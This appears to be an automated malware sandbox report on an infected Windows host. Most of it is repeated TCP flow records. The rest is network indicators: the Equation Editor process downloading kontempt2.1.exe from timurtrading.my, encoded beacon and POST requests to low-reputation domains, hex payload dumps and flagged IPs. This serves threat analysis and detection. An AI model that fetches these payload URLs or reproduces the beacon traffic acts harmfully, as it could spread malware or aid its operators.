Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443

Networking
barindex
Performs DNS queries to domains with low reputation
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe DNS query: www.myprefpal.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 15.197.148.33 15.197.148.33
Source: Joe Sandbox View IP Address: 45.33.6.223 45.33.6.223
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TANDEMUS TANDEMUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE55A LoadLibraryW,URLDownloadToFileW, 2_2_036AE55A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\kontempt2.1[1].htm Jump to behavior
Source: global traffic HTTP traffic detected: GET /kontempt2.1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: timurtrading.my
Source: global traffic HTTP traffic detected: GET /kontempt2.1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: timurtrading.myConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /8pmv/?eDZh=0pI0vDB&IDX46=o+HDgodiamRQHtDMpIt6QXV1yFQyIuHAMV1gOVYcjWmvuGh+h7IrtYfSQO/kpwxsxn8zwcxo4M/m/nbjbIRZpxhbjjpUXySeQkriE3Dek1xl8vaSGOlLDW237/Ca HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-USConnection: closeHost: www.omnibizlux.bizUser-Agent: Opera/9.80 (Android 4.0.4; Linux; Opera Tablet/ADR-1411061201) Presto/2.11.355 Version/12.10
Source: global traffic HTTP traffic detected: GET /2022/sqlite-dll-win32-x86-3380000.zip HTTP/1.1User-Agent: Opera/9.80 (Android 4.0.4; Linux; Opera Tablet/ADR-1411061201) Presto/2.11.355 Version/12.10Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /quvp/?IDX46=ZW1g+h73VjV8NmrD3A0IsvQAl9tCTvv5s7OxxnbN69qnRFmJveufixywo3eCJN9Bi9pNL2fgeIfBDTgJwEUErU/4IwV0Yt2V4k+CbVZpThcE8pzI6qgsTHE3GSfU&eDZh=0pI0vDB HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-USConnection: closeHost: www.75e296qdx.topUser-Agent: Opera/9.80 (Android 4.0.4; Linux; Opera Tablet/ADR-1411061201) Presto/2.11.355 Version/12.10
Source: global traffic HTTP traffic detected: GET /2xrt/?IDX46=t8QlsLf/hSao5OfTjGXyvO3SE3egRcZN/0WYGutq4Zw3gZ9pwtfqpd7Txie7AUKWMV3AhFtCGrZ0PcR2NtL0Erm7E7qQmCH1czZzhi0sD+dlnO4gaz+HrJe+v97h&eDZh=0pI0vDB HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-USConnection: closeHost: www.myprefpal.xyzUser-Agent: Opera/9.80 (Android 4.0.4; Linux; Opera Tablet/ADR-1411061201) Presto/2.11.355 Version/12.10
Source: EQNEDT32.EXE, 00000002.00000002.461489671.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.460914871.00000000006CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: timurtrading.my
Source: global traffic DNS traffic detected: DNS query: www.omnibizlux.biz
Source: global traffic DNS traffic detected: DNS query: www.sqlite.org
Source: global traffic DNS traffic detected: DNS query: www.75e296qdx.top
Source: global traffic DNS traffic detected: DNS query: www.myprefpal.xyz
Source: global traffic DNS traffic detected: DNS query: www.jilifish.win
Source: unknown HTTP traffic detected: POST /quvp/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-USAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 2162Host: www.75e296qdx.topOrigin: http://www.75e296qdx.topReferer: http://www.75e296qdx.top/quvp/User-Agent: Opera/9.80 (Android 4.0.4; Linux; Opera Tablet/ADR-1411061201) Presto/2.11.355 Version/12.10Data Raw: 49 44 58 34 36 3d 55 55 64 41 39 57 75 66 65 6e 46 41 52 57 58 6d 37 41 38 4a 69 66 77 39 31 4f 30 30 64 66 7a 77 6f 38 6d 6c 71 68 50 6e 73 4d 53 43 64 48 2b 50 38 64 43 54 37 54 43 37 6f 55 57 30 47 39 63 66 2f 4f 6c 59 4d 6d 58 37 61 4e 44 76 4e 53 34 4a 68 7a 49 6e 6d 46 72 69 46 68 4d 6c 55 35 61 6d 37 33 2f 52 62 56 5a 50 66 41 51 30 32 61 66 50 35 4c 30 52 62 68 6f 65 64 56 69 37 68 59 66 2f 42 78 64 55 34 48 2b 61 6f 75 33 75 56 34 6f 66 58 71 55 70 55 30 68 51 62 64 68 4a 79 73 31 43 5a 75 36 54 78 30 47 66 30 54 77 31 4f 4f 42 42 6a 6c 5a 38 64 36 54 31 6c 61 6f 78 4e 2b 62 62 65 50 4c 34 4f 4b 6f 39 59 75 63 30 32 5a 58 4a 67 6a 35 75 79 45 4a 64 7a 41 37 6b 31 33 47 73 73 75 77 78 38 48 47 6c 6d 4a 78 4e 79 55 43 51 77 59 41 78 4e 6c 6f 42 33 78 59 6a 2b 31 4c 4a 6d 37 66 78 76 6d 63 2b 49 32 57 44 4c 62 71 4d 71 78 41 4f 42 77 41 2f 48 6a 4c 35 63 6a 78 31 64 39 7a 56 51 71 50 41 63 34 76 41 7a 63 51 57 65 2b 68 78 75 61 63 70 53 62 30 79 4e 43 72 34 75 55 36 71 72 38 53 65 61 6d 79 45 4f 6b 73 74 30 4d 76 42 2b 61 63 77 44 41 59 34 44 6d 51 38 46 51 35 43 6d 2b 4b 45 33 6e 41 4d 52 4f 30 79 6a 33 4c 53 61 2b 72 45 46 34 64 77 54 46 46 44 70 47 76 2b 36 66 68 47 43 57 63 4a 7a 59 42 72 55 5a 4e 33 56 41 43 41 35 52 44 44 73 6b 79 5a 48 6b 39 74 42 51 43 4d 71 77 7a 32 6d 2b 63 76 63 4c 46 71 34 6b 34 45 36 6a 72 71 42 44 77 76 79 31 63 6d 33 6a 5a 67 36 50 64 6e 78 6c 57 35 44 6c 4b 39 34 79 71 4c 61 5a 4f 47 34 64 48 69 64 71 33 4c 65 71 50 43 67 56 30 49 72 58 67 44 4e 77 35 73 66 4b 6a 2f 6e 63 38 31 62 52 4e 53 79 55 64 50 76 2f 38 4f 35 78 58 4c 69 51 54 48 61 76 31 58 52 4a 53 4c 38 45 6f 68 48 53 54 42 59 6c 41 72 78 36 45 37 48 79 6c 31 31 38 43 38 6e 70 31 30 55 38 61 32 67 32 32 53 39 6c 6b 5a 35 53 70 57 2b 30 41 65 4c 44 38 79 64 6f 6a 46 57 5a 62 38 44 53 47 6f 30 7a 76 7a 55 53 4e 50 33 44 74 43 5a 41 33 74 6d 68 45 32 6d 45 53 42 72 55 73 4e 7a 4e 56 59 55 67 52 4c 41 56 43 62 62 33 6e 61 2b 31 6f 37 49 57 46 37 51 74 79 69 34 74 4c 33 52 4d 61 4d 62 53 4a 4c 66 41 61 39 4d 48 72 55 54 55 4b 54 62 71 68 47 38 63 37 64 63 39 6a 53 70 63 57 62 37 50 55 37 67 5a 4b 43 59 69 47 69 36 37 4b 37 4f 47 43 55 30 6e 57 2b 56 75 44 31 62 35 38 58 72 54 37 75 74 2b 58 6a 6e 6b 45 61 75 48 50 56 32 70 50 4d 55 58 39 6f 47 49 72 2f 79 64 55 35 59 53 4d 72 44 32 2f 75 68 61 6f 52 56 4d 50 79 68 45 54 74 71 41 57 63 76 2f 39 48 59 74 46 4e 51 35 31 57 73 44 6a 66 6c 72 51 57 50 6a 31 73 45 67 35 48 63 55 76 6f 76 38 36 32 48 48 4e 52 68 67 6c 69 2b 4b 41 4d 74 3
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Mon, 21 Oct 2024 09:29:40 GMTContent-Type: text/htmlContent-Length: 153Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundserver: openrestydate: Mon, 21 Oct 2024 09:29:57 GMTcontent-type: text/htmltransfer-encoding: chunkedx-powered-by: PHP/7.2.30content-encoding: gzipconnection: closeData Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Q/Qp/K&T";Ct@}4l"(/ 5(Y^f>5tc0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundserver: openrestydate: Mon, 21 Oct 2024 09:29:59 GMTcontent-type: text/htmltransfer-encoding: chunkedx-powered-by: PHP/7.2.30content-encoding: gzipconnection: closeData Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Q/Qp/K&T";Ct@}4l"(/ 5(Y^f>5tc0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundserver: openrestydate: Mon, 21 Oct 2024 09:30:02 GMTcontent-type: text/htmltransfer-encoding: chunkedx-powered-by: PHP/7.2.30content-encoding: gzipconnection: closeData Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Q/Qp/K&T";Ct@}4l"(/ 5(Y^f>5tc0
